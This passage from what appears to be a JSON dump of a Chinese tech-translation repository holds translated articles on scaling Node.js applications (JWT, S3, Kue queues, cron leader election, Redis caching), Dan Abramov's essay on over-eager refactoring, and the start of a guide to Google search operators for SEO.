进行无状态身份验证\n\n身份验证是开发无状态应用程序时要考虑的首要问题之一。如果将会话存储在内存中，它们将作用于该单个进程。\n\n为了使工作正常，您应该将网络负载均衡服务器配置为始终将同一用户重定向到同一台计算机，并将重定向到同一用户的本地用户始终重定向到同一进程（粘性会话）。\n\n解决此问题的一个简单方法是将会话的存储策略设置为持久性，例如将它们存储在 DB 中而不是 RAM 中。但是，如果您的应用程序检查每个请求的会话数据，则每次 API 的调用都会有磁盘 I/O 操作，从性能的角度来看，这绝对不是好事。\n\n更好，更快的解决方案（如果您的身份验证框架支持它）是将会话存储在像 Redis 这样的内存数据库中。Redis 实例通常位于应用程序实例外部，例如 DB 实例，但在内存中工作会更快。无论如何，在 RAM 中存储会话会使您在并发会话数增加时需要更多内存。\n\n如果您想采用更有效的无状态身份验证方法，可以查看 **JSON Web 令牌**。\n\nJWT 背后的想法很简单：当用户登录时，服务器生成一个令牌，该令牌本质上是包含有效负载的 JSON 对象的 base64 编码，加上签名获得的散列，该负载具有服务器拥有的密钥。有效负载可以包含用于对用户进行身份验证和授权的数据，例如 userID 及其关联的 ACL 角色。令牌被发送回客户端并由其用于验证每个 API 请求。\n\n当服务器处理传入请求时，它会获取令牌的有效负载并使用其密钥重新签名。如果两个签名匹配，则可以认为有效载荷有效且不被改变，还可以识别用户。\n\n重要的是要记住 **JWT 不提供任何形式的加密**。有效负载仅在 base64 中编码，并以明文形式发送，因此如果您需要隐藏内容，则必须使用 SSL。\n\n[jwt.io](http://jwt.io) 用的以下模式恢复了身份验证过程：\n\n![](https://cdn-images-1.medium.com/max/800/1*7T41R0dSLEzssIXPHpvimQ.png)\n\n在认证过程中，服务器不需要访问存储在某处的会话数据，因此每个请求都可以由非常有效的方式由不同的进程或机器处理。RAM 中没有保存数据，也不需要执行存储 I/O 操作，因此在扩展时这种方法非常有用。\n\n### 存储在 S3 上\n\n使用多服务器时，无法将用户生成的数据直接保存在文件系统上，因为这些文件只能由该服务器本地的进程访问。解决方案是**将所有内容存储在外部服务**上，可能存储在像 Amazon S3 这样的专用服务上，并在数据库中仅保存指向该资源的绝对 URL。\n\n![](https://cdn-images-1.medium.com/max/800/1*kmIPoA7Ab60n4kO36LWtNQ.png)\n\n然后，每个进程/机器都可以以相同的方式访问该资源。\n\n使用 Node.js 的官方 AWS sdk 非常简单，您可以轻松地将服务集成到应用程序中。S3 非常便宜并且针对此目的进行了优化，在您的应用程序不是多进程的情况下也是一个不错的选择。\n\n### 正确配置 WebSockets\n\n如果您的应用程序使用 WebSockets 进行客户端之间或客户端与服务器之间的实时交互，则需要**链接后端实例**，以便在连接到不同节点的客户端之间正确传播广播或消息。\n\nSocket.io 库为此提供了一个特殊的数据库连接工具，称为 socket.io-redis，它允许您使用 Redis pub-sub 功能链接服务器实例。\n\n为了使用多节点 socket.io 环境，您还需要配置协议为 “websockets”，因为长轮询需要粘性会话才能工作。\n\n### 下一步\n\n在这篇简短的文章中，我们已经看到了一些关于如何扩展 Node.js 应用程序需要注意的事情，这对于单节点环境也可以被视为良好的实践。\n\n在本系列的下一篇文章（也是最后一篇文章）中，我们介绍一些 Nodejs 的进阶操作。你可以在[这里](https://medium.com/iquii/good-practices-for-high-performance-and-scalable-node-js-applications-part-3-3-c1a3381e1382)找到它。\n\n* * *\n\n**如果这篇文章对你有用，请给我点赞吧！**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-3-3.md",
    "content": "> * 原文地址：[Good practices for high-performance and scalable Node.js applications [Part 3/3]](https://medium.com/iquii/good-practices-for-high-performance-and-scalable-node-js-applications-part-3-3-c1a3381e1382)\n> * 原文作者：[virgafox](https://medium.com/@virgafox?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-3-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/good-practices-for-high-performance-and-scalable-node-js-applications-part-3-3.md)\n> * 译者：[steinliber](https://github.com/steinliber)\n> * 校对者：[calpa](https://github.com/calpa), [Augustwuli](https://github.com/Augustwuli)\n\n# 构建高性能和可扩展性 Node.js 应用的最佳实践 [第 3/3 部分]\n\n![](https://cdn-images-1.medium.com/max/2000/1*AyzlnTJDIfbZCxdQPp8Seg.jpeg)\n\n### 第三章 — 其它关于 Node.js 应用运行效率和性能的优秀实践\n\n本系列的头两篇文章中我们看到[如何扩展一个 Node.js 应用](https://medium.com/iquii/good-practices-for-high-performance-and-scalable-node-js-applications-part-1-3-bb06b6204197)以及[在应用的代码部分应该考虑什么](https://medium.com/iquii/good-practices-for-high-performance-and-scalable-node-js-applications-part-2-3-2a68f875ce79)才能使其在这个过程中运行如我们所愿。在这最后一篇文章中，我们将介绍一些其它实践，以进一步提高应用运行效率和性能。\n\n### Web 和 Worker 进程\n\n就像你可能知道的那样，**Node.js 在实际运行中是单线程的**，因此一个进程实例在同一时间只能执行一个操作。在 Web 应用的运行生命周期中，会执行**很多不同类型的任务**：包括管理 API 调用，读/写数据库，与外部网络服务通信，以及不可避免地执行某些 CPU 密集型工作等。\n\n尽管你使用的是异步编程，但是将所有这些操作都指派给同一个用于响应 API 调用的进程真的是一种效率很低的方式。\n\n一种常见的模式是基于组成你应用不同类型进程之间的**责任分离**，这种情况下进程通常被分为 **web** 进程和 **worker** 进程。\n\n![](https://cdn-images-1.medium.com/max/800/1*4u5WMX_JB8-E2byEBcUyYw.png)\n\nWeb 进程主要的任务是管理**传入的网络调用**并尽快将它们分发出去。每当一个非阻塞任务需要被执行时，例如发送电子邮件/通知，写日志，执行一个触发操作，它们都不需要马上响应 API 调用返回结果，Web 进程会把这些操作委派给 worker 进程。\n\n**web 和 worker 进程之间的通信**可以通过不同的方式实现。一种常见且有效的解决方案是优先级队列，就像我们将在下一段描述的 Kue 所实现的那样。\n\n这种方式有一个很大的优点，无论在同一台还是不同机器上其都可以**分别独立扩展 web 和 worker 进程**。\n\n例如，如果你的应用请求量很大，相较于 worker 进程你可以部署更多的 web 进程而几乎不会产生任何副作用。而如果请求量不是很大但是有很多的工作需要 worker 进程去处理，你可以据此重新分配相应的资源。\n\n### Kue\n\n为了使 web 进程和 worker 进程可以相互通信，使用**队列**是一种灵活的方式，它可以使你不需要担心进程之间的通信。\n\n[Kue](http://automattic.github.io/kue/) 是 Node.js 中常用的队列库，它基于 Redis 并且让你可以用完全一致的方式让运行在同一台或不同机器上的进程间相互通信。\n\n任何类型的进程都可以创建一个工作并将之放入队列，然后被配置的相应 worker 进程就会从队列中提取并执行它。每个工作都提供了大量的可配置选项，如优先级，TTL，延迟等。\n\n你创建的 worker 进程越多，执行这些作业的并行吞吐量也就越大。\n\n### Cron\n\n应用程序通常需要**定期执行**一些任务。通常这种类型的操作，是通过操作系统级别的 **cron 工作**进行管理，也就是会调用你应用程序之外的一个单独脚本。\n\n当需要把你的应用部署到新的机器上时，这种方式会需要额外的配置工作，如果你想要自动化部署应用时，它会让人对其感到不舒服。\n\n我们可以使用 **NPM 上的** [**cron 模块**](https://www.npmjs.com/package/cron)从而更轻松地实现同样的效果。它允许你在 Node.js 代码中定义 cron 工作，从而使其免于操作系统的配置。\n\n根据上面所描述的 web/worker 进程模式，worker 进程可以通过定期调用一个函数把工作放到队列从而实现创建 cron。 \n\n使用队列可以使 cron 的实现更加清晰并且还可以利用 Kue 所提供的所有功能，如优先级，重试等。\n\n当你的应用有多个 worker 进程时就会出现一个问题，因为同一时间所有 worker 进程的 cron 函数都会唤醒应用把多个同样重复的工作放入队列，从而导致同一个工作将会被执行多次。\n\n为了解决这个问题，有必要**识别将要执行 cron 操作的单个 worker 进程**。\n\n### Leader 选举和 cron-cluster\n\n这种类型的问题被称为 “**leader 选举**”，NPM 为我们提供了这种特定情况下的处理方案，有一个叫做 [cron-cluster](https://www.npmjs.com/package/cron-cluster) 的包。\n\n它在维持和 cron 模块一致 API 的同时增强了模块，但是在启动过程中它需要有 **redis 连接**，用于和其它进程间通信和执行 leader 选举算法。\n\n![](https://cdn-images-1.medium.com/max/800/1*kDpGv4d1Mj_AGg9TFVFhhQ.png)\n\n使用 redis 作为单一事实的来源，**所有进程最终都会同意谁将执行 cron**，并且只有一个工作副本会被放入队列中。在这之后，所有的 worker 进程都可以像往常一样选择是否执行这个工作。\n\n### 缓存 API 调用\n\n**服务端缓存**是提高你 API 调用**性能和反馈性**一种常用的方式，但这是一个非常广泛的主题，有很多可能的实现。\n\n在像我们在这个系列所描述的分布式环境中，如果想要所有的节点在处理缓存时表现一致，最好的办法或许是使用 redis 来缓存需要的值。\n\n缓存所需要考虑最困难的方面就是缓存失效。一种快捷实用的解决方案是只考虑缓存时间，这样缓存中的值就会在固定的 TTL 时间后刷新，这样做的缺点是我们不得不等到下一次缓存刷新才能看到响应中的更新。\n\n如果你能有更多的时间，最好在应用级别实现失效，即当数据库中的值更改时手动刷新 redis 缓存中的相关记录。\n\n### 结论\n\n在本系列文章中，我们介绍了有关扩展性和性能的一些主题。在这里所提供的建议可以作为指导，需要根据项目特定的需求进行定制。\n\n请继续关注关于 Node.js 和 DevOps 主题内的其它文章！\n\n* * *\n\n**如果你喜欢这篇文章，请多多支持！**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/goodbye-clean-code.md",
    "content": "> * 原文地址：[Goodbye, Clean Code](https://overreacted.io/goodbye-clean-code/)\n> * 原文作者：[Dan Abramov](https://mobile.twitter.com/dan_abramov)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/goodbye-clean-code.md](https://github.com/xitu/gold-miner/blob/master/TODO1/goodbye-clean-code.md)\n> * 译者：[zh1an](https://github.com/zh1an)\n> * 校对者：[ahabhgk](https://github.com/ahabhgk), [febrainqu](https://github.com/febrainqu)\n\n# 再见，整洁的代码\n\n那是一个深夜。\n\n我同事刚刚合并了他们已经写了整整一周的代码。我们在做图形编辑画布，并且他们实现了调整形状大小的方法，比如矩形或者椭圆形在它们的边缘拖拽小按钮。\n\n代码生效了。\n\n但是它单调且重复。每个形状（例如矩形或者椭圆形）都有一组不同按钮，并且往不同的方向拖拽每个按钮都会通过不同的方式来影响着形状的位置和大小。如果用户按住 Shift 按键，我们还应该需要在调整大小时呈现其属性。这也有一大堆数学计算。\n\n代码看起来就像这样：\n\n```jsx\nlet Rectangle = {\n  resizeTopLeft(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeTopRight(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeBottomLeft(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeBottomRight(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n};\n\nlet Oval = {\n  resizeLeft(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeRight(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeTop(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeBottom(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n};\n\nlet Header = {\n  resizeLeft(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeRight(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },  \n}\n\nlet TextBlock = {\n  resizeTopLeft(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeTopRight(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeBottomLeft(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n  resizeBottomRight(position, size, preserveAspect, dx, dy) {\n    // 10 行重复的数学计算\n  },\n};\n```\n\n这种重复的数学计算着实让我恼火。\n\n它并不**整洁**。\n\n大多数的重复都在相似的方向之间。例如，`Oval.resizeLeft()` 跟 `Header.resizeLeft()` 相似。这是因为他们两个在左边的拖拽处理基本是类似的。\n\n另外一个相似点就是介于那些相同形状之间的方法之间。例如，`Oval.resizeLeft()` 和另外一个 `Oval` 的方法类似。这是因为他们所有的处理椭圆形的方式类似。在 `Rectangle`、`Header` 和 `TextBlock` 之间有一些也是重复的，因为它们都是矩形。\n\n我有一个想法。\n\n我们可以**移除所有的重复**，把代码组织成这样：\n\n```jsx\nlet Directions = {\n  top(...) {\n    // 5 行唯一的数学计算\n  },\n  left(...) {\n    // 5 行唯一的数学计算\n  },\n  bottom(...) {\n    // 5 行唯一的数学计算\n  },\n  right(...) {\n    // 5 行唯一的数学计算\n  },\n};\n\nlet Shapes = {\n  Oval(...) {\n    // 5 行唯一的数学计算\n  },\n  Rectangle(...) {\n    // 5 行唯一的数学计算\n  },\n}\n```\n\n然后组合它们的行为：\n\n```jsx\nlet {top, bottom, left, right} = Directions;\n\nfunction createHandle(directions) {\n  // 20 行代码\n}\n\nlet fourCorners = [\n  createHandle([top, left]),\n  createHandle([top, right]),\n  createHandle([bottom, left]),\n  createHandle([bottom, right]),\n];\nlet fourSides = [\n  createHandle([top]),\n  createHandle([left]),\n  createHandle([right]),\n  createHandle([bottom]),\n];\nlet twoSides = [\n  createHandle([left]),\n  createHandle([right]),\n];\n\nfunction createBox(shape, handles) {\n  // 20 行代码\n}\n\nlet Rectangle = createBox(Shapes.Rectangle, fourCorners);\nlet Oval = createBox(Shapes.Oval, fourSides);\nlet Header = createBox(Shapes.Rectangle, twoSides);\nlet TextBox = createBox(Shapes.Rectangle, fourCorners);\n```\n\n这是所有代码的一半，并且那些重复的也消失无踪啦！如此的整洁。如果我们想要改变一个特殊方向或者形状的表现，我们只需要修改一个地方的代码而不是修改所有地方。\n\n当时的确是很晚啦（我忘乎所以了）。我将我重构的代码合并到  `master`，然后就去睡觉了，并且非常骄傲我竟然解开了我同事那杂乱无章的代码。\n\n## [](#the-next-morning)第二天\n\n…… 但事与愿违。\n\n我的上司叫我单独聊，很礼貌地要求我撤回我的更改。我惊呆了。老代码那么乱而我的如此的整洁！\n\n我勉强的服从了，直到多年以后我才知道他们是对的。\n\n## [](#its-a-phase)这是一个阶段\n\n痴迷于“代码的整洁之道”并且移除重复是我们大多数必经的一个阶段。当我们对代码不自信时，很容易将我们的自我价值感和专业自豪感附加到可以衡量的事物上，一组严格的 lint 规则、命名规则、文件结构和没有重复。\n\n你不能使移除重复自动化，但是它**的确**随着练习变得更容易。通常情况下你都可以分辨出在每次更改之后它是更少了还是更多了。结果，移除重复感觉就像是改善代码的一种指标。更糟糕的是，它与人们的认同感交织在一起：“我就是写整洁代码的那个人”。这比任何一种自我欺骗都有效。\n\n一旦我们学习了如何去创建 [abstractions（抽象）](https://www.sandimetz.com/blog/2016/1/20/the-wrong-abstraction)，就很容易掌握这种技能，当我们看到重复的代码时，就会从中抽出抽象层。经过几年编码之后，如果我们随处随地看到重复性代码，那么，抽象就是我们新的超能力。如果某个人告诉我们抽象是优点，我们也会认同。并且我们开始判断其他人会不会崇拜这种“整洁”能力。\n\n我现在知道，我的“重构”在两个方面是致命的：\n\n* 第一，我没有跟代码作者讨论。我在没有他们参与的情况下重写了代码并且检出。甚至，假如它“的确”是一种改进（现在我再也不相信了），这种方式也是很可怕的。一个健康的工程师团队不断地**建立信任**。在没有讨论的情况下重写你队友的代码对你在代码库上的有效协作的能力是一个巨大的打击。\n* 第二，天下没有免费的午餐。我的代码通过更改需求来减少重复，然而这并不是个很好的交易。例如，在之后我们需要很多的针对不同的形状的不同的句柄的特殊情况和行为，我们的抽象不得不变得异常的复杂才能负担的起，而对于原始的“杂乱无章的”版本，这样的更改就像蛋糕一样简单。\n\n我要说你应该写“脏”代码吗？不，我建议你对“整洁”或“脏”代码的意思进行深思。你有反抗的感觉吗？或是正直？或是漂亮？或是优雅？对于具体的工程结果来说，你如何准确的命名这些品质？它们有多准确地表达这种代码编写或者[修改](/optimized-for-change/)方式？\n\n我当然没有对这些事情进行过深思熟虑。我对代码的**外观**进行了很多的思考，但并考虑它在压测团队中会如何进化。\n\n编码是一段旅程。考虑从你的第一行代码到你现在的位置有多远。我觉得很高兴看到第一次如何提取一个函数或者重构一个类，它能使错中复杂的代码变得简单。如果你对自己的技术感到自豪，并且很容易做到代码的整洁。那就试试。\n\n但是不要停滞不前，沾沾自喜。不要成为整洁代码的狂热者。整洁代码不是目标。它只是尝试使我们处理的复杂系统获得某种意义。它只是在你还不能确定更改会对代码库有怎样的影响时给出指引，这使一种防御机制。\n\n让整洁代码指引你。**然后，随它去吧。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/google-advanced-search-operators.md",
    "content": "> * 原文地址：[Google Search Operators: The Complete List (42 Advanced Operators)](https://ahrefs.com/blog/google-advanced-search-operators/)\n> * 原文作者：[Joshua Hardwick](https://ahrefs.com/blog/author/joshua-hardwick/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/google-advanced-search-operators.md](https://github.com/xitu/gold-miner/blob/master/TODO1/google-advanced-search-operators.md)\n> * 译者：[cdpath](https://github.com/cdpath)\n> * 校对者：[JackEggie (Jack Tang)](https://github.com/JackEggie), [nettee (William Liu)](https://github.com/nettee)\n\n# 谷歌搜索操作符大全（42 个高级操作符）\n\n接触过 SEO 的人都对谷歌高级搜索操作符有所了解，也就是一些比普通搜索更进阶的特殊搜索命令。\n\n比如这个搜索操作符你可能比较熟悉：\n\n![ahrefs site search](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-site-search.gif)\n\n`site:` 操作符只返回指定网站内的搜索结果。\n\n大多数操作符都不难记。就像是脑子里的快捷命令。\n\n不过会高效利用却没那么简单。\n\nSEO 从业者大多只知皮毛，鲜有精通者。\n\n我会在这篇文章中介绍十五个行之有效的小技巧，助你掌握 SEO 搜索操作符。包括：\n\n1.  [查找索引错误](#1-查找索引错误)\n2.  [查找不安全的页面（没有启用 https）](#2-查找不安全的页面没有启用-https)\n3.  [查找重复的内容](#3-查找重复的内容)\n4.  [查找网站中不需要的文件和网页](#4-查找域名下的奇怪文件你自己可能都忘了)\n5.  [寻找投稿的机会](#5-寻找投稿的机会)\n6.  [查找加入资源页的机会](#6-查找加入资源页的机会)\n7.  [查找主打信息图的网站…… 这样就可以推销自己的](#7-查找主打信息图的网站-这样就可以推销自己的)\n8.  [寻求更多链接机会…… 并检查他们的相关性到底如何](#8-寻求更多链接机会-并检查他们的相关性到底如何)\n9.  [寻找潜在客户的社交媒体账号](#9-寻找潜在客户的社交媒体账号)\n10.  [寻找内链机会](#10-寻找内链机会)\n11.  [通过搜索提及竞争对手的内容发现公关（PR）机会](#11-通过搜索提及竞争对手的内容发现公关pr机会)\n12.  [寻找赞助文章机会](#12-寻找赞助文章机会)\n13.  [查找和你的内容相关的问答帖](#13-查找和你的内容相关的问答帖)\n14.  [查找竞争对手更新内容的频率](#14-查找竞争对手更新内容的频率)\n15.  [查找链接到竞争对手的网站](#15-查找链接到竞争对手的网站)\n\n不过我们先回顾一下全部谷歌搜索操作符及其功能。\n\n## 谷歌搜索操作符大全\n\n你知道谷歌在不断[废弃有用的搜索操作符](https://searchengineland.com/google-drops-another-search-operator-tilde-for-synonyms-164403)吗？\n\n所以说大多数谷歌搜索操作符大全都过时了，不怎么准确。\n\n本文中我测试了能找到的所有操作符。\n\n下面是所有可用的，被废弃的，以及时好时坏的 2018 版谷歌高级搜索操作符清单。\n\n![](https://ahrefs.com/blog/wp-content/uploads/2018/05/working-operators.png)\n\n### “整词搜索”\n\n强制进行精准匹配搜索。可以用来改善模糊的搜索结果，或者在搜索单词时排除同义词的结果。\n\n**例子**: [“steve jobs”](https://www.google.com/search?&q=%22steve+jobs%22)\n\n### OR\n\n搜索 X **或** Y。会得到与 X, Y 或者和两者都有关的结果。**注意**：可以用管道操作符（`|`）代替 OR。\n\n**例子**: [jobs OR gates](https://www.google.com/search?&q=jobs+OR+gates) / [jobs | gates](https://www.google.com/search?&q=jobs+%7C+gates)\n\n### AND\n\n搜索 X **且** Y。返回结果与 X **和** Y 都有关。**注意**：实际和常规搜索没什么区别，因为谷歌默认使用 `AND` 操作符。但是和其他操作符组合使用时 `AND` 还是有用的。\n\n**例子**: [jobs AND gates](https://www.google.com/search?&q=jobs+AND+gates)\n\n### -\n\n排除一个词或短语。下面这个例子只会返回与苹果公司**无关**的 jobs 结果。\n\n**例子**: [jobs -apple](https://www.google.com/search?q=jobs+-apple)\n\n### *\n\n通配符，匹配任意词或短语。\n\n**例子**: [steve * apple](https://www.google.com/search?q=%22steve+*+apple)\n\n### ( )\n\n组合多个词或搜索操作符，控制搜索的行为。\n\n**例子**: [(ipad OR iphone) apple](https://www.google.com/search?q=%28ipad+OR+iphone%29+apple)\n\n### $\n\n搜索价格。欧元符号（€）也行。但是英镑（£）不行。🙁\n\n**例子**: [ipad $329](https://www.google.com/search?q=ipad+%24329)\n\n### define:\n\n基本就是查询谷歌内置词典。就是在搜索结果页（SERP）上的卡片中展示词义。\n\n**例子**: [define:entrepreneur](https://www.google.com/search?q=define%3Aentrepreneur)\n\n### cache:\n\n得到网页的最新缓存（当然前提是网页已被索引）。\n\n**例子**: [cache:apple.com](http://webcache.googleusercontent.com/search?q=cache%3Aapple.com)\n\n### filetype:\n\n只展示特定文件类型的搜索结果。比如，PDF，DOCX，TXT，PPT 等。**注意**：等价于 `ext:` 操作符。\n\n**例子**: [apple filetype:pdf](https://www.google.com/search?q=apple+filetype%3Apdf) / [apple ext:pdf](https://www.google.com/search?q=apple+ext%3Apdf)\n\n### site:\n\n只展示来自特定网站的结果。\n\n**例子**: [site:apple.com](https://www.google.com/search?q=site%3Aapple.com)\n\n### related:\n\n查找和特定域名相关的网站。\n\n**例子**: [related:apple.com](https://www.google.com/search?q=related%3Aapple.com)\n\n### intitle:\n\n查找标题中带有特定词语的网页。下面的例子只返回标题中含有 “apple” 的网页。\n\n**例子**: [intitle:apple](https://www.google.com/search?q=intitle%3Aapple)\n\n### allintitle:\n\n和 intitle 类似，不过只返回标题带有**所有**指定关键字的网页。\n\n**例子**: [allintitle:apple iphone](https://www.google.com/search?q=allintitle%3Aapple+iphone)\n\n### inurl:\n\n查找 URL 中带有关键字的网页。比如下面的例子只返回 URL 中有 “apple” 的网页。\n\n**例子**: [inurl:apple](https://www.google.com/search?q=inurl%3Aapple)\n\n### allinurl:\n\n和 inurl 类似，不过只返回 URL 带有**所有**关键字的网页。\n\n**例子**: [allinurl:apple iphone](https://www.google.com/search?q=allinurl%3Aapple+iphone)\n\n### intext:\n\n查找网页内容中带有关键字的网页。比如下面的例子，返回网页内容中有 “apple” 的结果。\n\n**例子**: [intext:apple](https://www.google.com/search?q=intext%3Aapple)\n\n### allintext:\n\n和 intext 类似，不过只返回内容中含有**全部**关键字的网页。\n\n**例子**: [allintext:apple iphone](https://www.google.com/search?q=allintext%3Aapple+iphone)\n\n### AROUND(X)\n\n临近搜索。查找两个关键字的距离不超过 X 的网页。例子中，返回结果中的 “apple” 和 “iphone” 必须同时出现在网页内容中，而且两个单词之间的单词不超过 4 个。\n\n**例子**: [apple AROUND(4) iphone](https://www.google.com/search?q=apple+AROUND(4))\n\n### weather:\n\n查阅指定地点的天气。结果会展示在天气小部件中，不过也会返回其他天气网站的结果。\n\n**例子**: [weather:san francisco](https://www.google.com/search?q=weather%3Asan+francisco)\n\n### stocks:\n\n查阅指定的股票信息（比如价格等）。\n\n**例子**: [stocks:aapl](https://www.google.com/search?q=stocks%3Aaapl)\n\n### map:\n\n强制返回指定地点的地图结果。\n\n**例子**: [map:silicon valley](https://www.google.com/search?q=map%3Asilicon+valley)\n\n### movie:\n\n查阅指定电影信息。如果电影在附近上映，还会告诉你开场时间。\n\n**例子**: [movie:steve jobs](https://www.google.com/search?q=movie%3Asteve+jobs)\n\n### in\n\n单位换算。支持货币，重量，温度等的换算。\n\n**例子**: [$329 in GBP](https://www.google.com/search?q=%24329+in+GBP)\n\n### source:\n\n在谷歌新闻搜索的指定网站中搜索关键字。\n\n**例子**: [apple source:the_verge](https://www.google.com/search?q=apple+source%3Athe_verge&tbm=nws)\n\n### _\n\n准确地讲这个不算是搜索操作符。它的作用是充当谷歌自动补全的通配符。\n\n**Example**: apple CEO _ jobs\n\n![](https://ahrefs.com/blog/wp-content/uploads/2018/05/hit-and-miss-operators.png)\n\n下面是一些我测试时时好时坏的操作符：\n\n### #..#\n\n搜索数字范围。下面的例子会返回 2010 年到 2014 年的 “WWDC videos” 结果，不包括 2015 年及以后的结果。\n\n**例子**: [wwdc video 2010..2014](https://www.google.com/search?q=wwdc+video+2010..2014)\n\n### inanchor:\n\n查找被指定锚文字（anchor text）指向的网页。下面例子返回指向这些页面的锚文字中出现 ”apple“ 或者 ”iphone“ 的结果。\n\n**例子**: [inanchor:apple iphone](https://www.google.com/search?q=inanchor%3Aapple+iphone)\n\n### allinanchor:\n\n和 inanchor 类似，不过只返回指向这些页面的锚文字含有**全部**关键字的结果。\n\n**例子**: [allinanchor:apple iphone](https://www.google.com/search?q=allinanchor%3Aapple+iphone)\n\n### blogurl:\n\n查找指定域名下的博客 URL。这个本用于谷歌博客搜索，不过我测试发现在常规搜索时也有用。\n\n**例子**: [blogurl:microsoft.com](https://www.google.com/search?q=blogurl%3Amicrosoft.com)\n\n旁注：\n\n谷歌博客搜索在 2011 年被废弃。\n\n### loc:placename\n\n返回指定地域的搜索结果。\n\n**例子**: [loc:”san francisco” apple](https://www.google.com/search?q=loc%3A%22san+francisco%22+apple)\n\n旁注：\n\n没有被官方废弃，不过结果时好时坏。\n\n### location:\n\n返回指定地域的谷歌新闻搜索结果。\n\n**例子**: [loc:”san francisco” apple](https://www.google.com/search?q=loc%3A%22san+francisco%22+apple)\n\n旁注：\n\n没有被官方废弃，不过结果时好时坏。\n\n![](https://ahrefs.com/blog/wp-content/uploads/2018/05/not-working-operators.png)\n\n下面是已废弃失效的搜索操作符。🙁\n\n### +\n\n强制精准匹配单词或词组。\n\n**例子**: [jobs +apple](https://www.google.com/search?q=jobs+%2Bapple)\n\n旁注：\n\n可以用双引号代替。\n\n### ~\n\n包含同义词。没有什么效果是因为谷歌默认就会返回同义词结果。（**提示：用双引号排除同义词。**）\n\n**例子**: [~apple](https://www.google.com/search?q=~apple)\n\n### inpostauthor:\n\n查找指定作者的博文。只在谷歌博客搜索有效，不适用于谷歌搜索。\n\n**例子**: inpostauthor:”steve jobs”\n\n旁注：\n\n谷歌博客搜索在 2011 年被废弃。\n\n### allinpostauthor:\n\n和 `inpostauthor` 